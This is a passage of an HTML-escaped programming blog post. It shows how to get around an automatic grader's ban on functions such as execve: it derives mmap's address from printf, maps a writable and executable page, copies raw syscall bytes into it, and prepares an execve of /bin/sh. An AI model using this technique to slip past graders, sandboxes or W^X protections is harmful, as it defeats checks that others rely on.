&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;C&quot;&gt;&lt;span class=&quot;syntax-source syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-c&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-c&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;syntax-constant syntax-other syntax-placeholder syntax-c&quot;&gt;%td&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-c&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-support syntax-type syntax-sys-types syntax-c&quot;&gt;ptrdiff_t&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-support syntax-type syntax-sys-types syntax-c&quot;&gt;size_t&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt;execve &lt;span class=&quot;syntax-keyword syntax-operator syntax-arithmetic syntax-c&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-support syntax-type syntax-sys-types syntax-c&quot;&gt;size_t&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt;printf&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Running the program a couple of times gives us different results. Didn&#39;t we just say that the offset was fixed? Let&#39;s open the binary to investigate.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;&lt;span class=&quot;code-snippet&quot;&gt;$ objdump --dynamic-syms ./offset | grep -E &amp;quot;\s(execve|printf)&amp;quot;
0000000000000000      DF *UND*	0000000000000000 (GLIBC_2.2.5) execve
000000000004dd64  w   DF .text	0000000000000005  Base        printf
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;objdump&lt;/code&gt; is useful for any kind of object file analysis. The &lt;code&gt;--dynamic-syms&lt;/code&gt; option gives information about each symbol that will be loaded at runtime. The sixth column gives us a bit of information about where the symbol comes from. &lt;code&gt;execve&lt;/code&gt; indeed comes from &lt;code&gt;glibc&lt;/code&gt;, which is the implementation of the C standard library available on my laptop. But &lt;code&gt;printf&lt;/code&gt; doesn&#39;t seem to come from &lt;code&gt;glibc&lt;/code&gt;. Actually, the raw output of &lt;code&gt;objdump&lt;/code&gt; has a bunch of &lt;code&gt;__interceptor_*&lt;/code&gt; symbols which gives a clue on what&#39;s going on here.&lt;/p&gt;
&lt;p&gt;Since the beginning, I have been compiling all my code with &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://en.wikipedia.org/wiki/Code_sanitizer&quot;&gt;ASan&lt;/a&gt; (a.k.a &lt;code&gt;-fsanitize=address&lt;/code&gt;) to catch memory errors early. &lt;em&gt;ASan&lt;/em&gt; works by replacing a bunch of code, including memory reads and write, by a bunch of slow function calls that check the correctness of each action. It also replaces a bunch of functions in the C standard library like &lt;code&gt;malloc&lt;/code&gt; or &lt;code&gt;printf&lt;/code&gt;. By doing so, these functions do not live in the &lt;code&gt;glibc&lt;/code&gt; object anymore as opposed to functions that aren&#39;t replaced, in our case &lt;code&gt;execve&lt;/code&gt;. The automatic grader system also happens to check for memory errors and compiles with &lt;em&gt;ASan&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;We could try to use a different symbol than &lt;code&gt;printf&lt;/code&gt; that lives in the same segment as &lt;code&gt;execve&lt;/code&gt;, but we still need a symbol that is allowed most of the time. Most of these symbols live in the &lt;em&gt;ASan&lt;/em&gt; replaced segment, so let&#39;s commit to it. Maybe &lt;code&gt;execve&lt;/code&gt; is not the only way. Looking for other useful symbols in this segment, &lt;code&gt;mmap&lt;/code&gt; catches my eye.&lt;/p&gt;
&lt;p&gt;Why is &lt;code&gt;mmap&lt;/code&gt; special? Because of the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://en.wikipedia.org/wiki/W%5EX&quot;&gt;W^X (write-xor-execute)&lt;/a&gt; security policy, there is no section of memory that is writable and executable at the same time. Thus we cannot just write raw x86 instructions in a buffer and jump to it as if it was a function nor can we overwrite an existing function with our own code. But &lt;code&gt;mmap&lt;/code&gt; solves this problem because we can just tell it to give us a page that has write and execute permissions.&lt;/p&gt;
&lt;p&gt;But let&#39;s not get ahead of ourselves. We can leak the offset between &lt;code&gt;printf&lt;/code&gt; and &lt;code&gt;mmap&lt;/code&gt; on the VM via another exercise where we can name both symbols. To use the offset we could use a bunch of casts but the code we hand to the grading system has to compile with &lt;code&gt;-pedantic&lt;/code&gt; and this disallows cast from, to and between function pointers types. Because function pointers are still pointers in the end, we can try to modify it without the compiler noticing. I started to modify memory based on unoptimized stack slots &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://wiro.world/posts/calling-c-func-without-naming-it/#stack-snippet&quot;&gt;2&lt;/a&gt; but I was reminded that in C, &lt;em&gt;unsafety is a feature&lt;/em&gt;, so we can actually just use unions.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;C&quot;&gt;&lt;span class=&quot;syntax-source syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-union syntax-c&quot;&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;union&lt;/span&gt; &lt;span class=&quot;syntax-entity syntax-name syntax-union syntax-c&quot;&gt;notmmap_build&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-block syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-begin syntax-c&quot;&gt;{&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-union syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-c&quot;&gt;
  &lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-c&quot;&gt;*&lt;/span&gt;basefn&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-storage syntax-modifier syntax-c&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-c&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;syntax-support syntax-type syntax-sys-types syntax-c&quot;&gt;size_t&lt;/span&gt; addr&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-c&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-c&quot;&gt;*&lt;/span&gt;fn&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-c&quot;&gt;*&lt;/span&gt;addr&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;syntax-support syntax-type syntax-sys-types syntax-c&quot;&gt;size_t&lt;/span&gt; length&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;int&lt;/span&gt; prot&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;int&lt;/span&gt; flags&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;int&lt;/span&gt; fd&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt;
              &lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;long&lt;/span&gt; offset&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-union syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-end syntax-c&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;union&lt;/span&gt; notmmap_build notmmap &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-c&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-block syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-begin syntax-c&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-c&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-member syntax-c&quot;&gt;basefn&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-c&quot;&gt;=&lt;/span&gt; printf&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-end syntax-c&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;
notmmap&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-c&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-member syntax-c&quot;&gt;addr&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-augmented syntax-c&quot;&gt;+=&lt;/span&gt; OFFSET&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;syntax-comment syntax-line syntax-double-slash syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-c&quot;&gt;//&lt;/span&gt; whatever offset you leaked earlier
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can just make a bad x86 assembly routine that lets us make Linux syscalls as if it was a C function. This routine allows us to call any syscall with up to 3 arguments.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;&lt;span class=&quot;code-snippet&quot;&gt;000000000040106a &amp;lt;notsyscall&amp;gt;:
  40106a:	48 89 f8             	mov    %rdi,%rax
  40106d:	48 89 f7             	mov    %rsi,%rdi
  401070:	48 89 d6             	mov    %rdx,%rsi
  401073:	48 89 ca             	mov    %rcx,%rdx
  401076:	0f 05                	syscall
  401078:	c3                   	ret
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Copy those bytes into a newly mapped writable and executable page.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;C&quot;&gt;&lt;span class=&quot;syntax-source syntax-c&quot;&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;char&lt;/span&gt; instructions&lt;span class=&quot;syntax-meta syntax-brackets syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-brackets syntax-begin syntax-c&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-brackets syntax-end syntax-c&quot;&gt;]&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-c&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-block syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-begin syntax-c&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;0x48&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;0x89&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;0xf8&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;0x48&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;0x89&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;0xf7&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;0x48&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;0x89&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;0xd6&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;0x48&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;0x89&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;0xca&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;0x0f&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;0x05&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;0xc3&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-end syntax-c&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-c&quot;&gt;*&lt;/span&gt;code &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-c&quot;&gt;=&lt;/span&gt;
  notmmap&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-c&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-c&quot;&gt;fn&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-constant syntax-language syntax-c&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;4096&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt; PROT_READ &lt;span class=&quot;syntax-keyword syntax-operator syntax-arithmetic syntax-c&quot;&gt;|&lt;/span&gt; PROT_WRITE &lt;span class=&quot;syntax-keyword syntax-operator syntax-arithmetic syntax-c&quot;&gt;|&lt;/span&gt; PROT_EXEC&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt;
             MAP_PRIVATE &lt;span class=&quot;syntax-keyword syntax-operator syntax-arithmetic syntax-c&quot;&gt;|&lt;/span&gt; MAP_ANONYMOUS&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-arithmetic syntax-c&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;0&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And call our routine as if nothing happened. You can check &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.chromium.org/chromium-os/developer-library/reference/linux-constants/syscalls/&quot;&gt;chromium syscall docs&lt;/a&gt; for the arguments Linux expects.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;C&quot;&gt;&lt;span class=&quot;syntax-source syntax-c&quot;&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-c&quot;&gt;*&lt;/span&gt;argv&lt;span class=&quot;syntax-meta syntax-brackets syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-brackets syntax-begin syntax-c&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-brackets syntax-end syntax-c&quot;&gt;]&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-c&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-block syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-begin syntax-c&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-c&quot;&gt;&amp;quot;&lt;/span&gt;/bin/sh&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-c&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-c&quot;&gt;&amp;quot;&lt;/span&gt;-c&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-c&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-c&quot;&gt;&amp;quot;&lt;/span&gt;echo &amp;#39;Hello, World!&amp;#39;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-c&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;syntax-constant syntax-language syntax-c&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-end syntax-c&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;syntax-meta syntax-union syntax-c&quot;&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;union&lt;/span&gt; &lt;span class=&quot;syntax-entity syntax-name syntax-union syntax-c&quot;&gt;notsyscall_build&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-block syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-begin syntax-c&quot;&gt;{&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-union syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-c&quot;&gt;
  &lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-c&quot;&gt;*&lt;/span&gt;ptr&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;syntax-comment syntax-line syntax-double-slash syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-c&quot;&gt;//&lt;/span&gt; execve is syscall 59 on x86-64 Linux
&lt;/span&gt;  &lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-c&quot;&gt;*&lt;/span&gt;notexecve&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;int&lt;/span&gt; sys&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-c&quot;&gt;*&lt;/span&gt;path&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-c&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-c&quot;&gt;*&lt;/span&gt;argv&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-c&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-c&quot;&gt;*&lt;/span&gt;envp&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-union syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-end syntax-c&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;union&lt;/span&gt; notsyscall_build notsyscall &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-c&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-block syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-begin syntax-c&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-c&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-member syntax-c&quot;&gt;ptr&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-c&quot;&gt;=&lt;/span&gt; code&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-end syntax-c&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;

